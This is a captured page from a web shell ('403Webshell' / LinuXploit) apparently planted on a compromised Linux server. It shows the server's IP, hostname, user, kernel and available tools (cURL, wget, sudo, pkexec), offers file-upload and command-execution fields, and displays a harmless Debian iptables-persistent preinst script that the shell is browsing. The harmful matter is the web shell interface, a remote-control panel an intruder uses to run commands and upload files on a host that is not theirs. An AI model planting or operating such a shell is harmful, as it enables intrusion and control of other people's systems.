403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/iptables-persistent.preinst
#!/bin/sh

set -e


case "$1" in
    install|upgrade)
	if dpkg --compare-versions "$2" le "0.5.2"; then
	    update-rc.d -f iptables-persistent remove
	fi
    if [ -e /etc/iptables/rules ]; then
        if [ -e /etc/iptables/rules.v4 ]; then
            mv -f /etc/iptables/rules /etc/iptables/rules.v4.dpkg-old
        else
            mv -f /etc/iptables/rules /etc/iptables/rules.v4
        fi
    fi
	;;

    abort-upgrade)
	;;

    *)
        echo "preinst called with unknown argument \`$1'" >&2
        exit 1
	;;
esac

# Automatically added by dh_installdeb/13.3.3
dpkg-maintscript-helper rm_conffile /etc/init.d/iptables-persistent 1\~ -- "$@"
# End automatically added section


Youez - 2016 - github.com/yon3zu
LinuXploit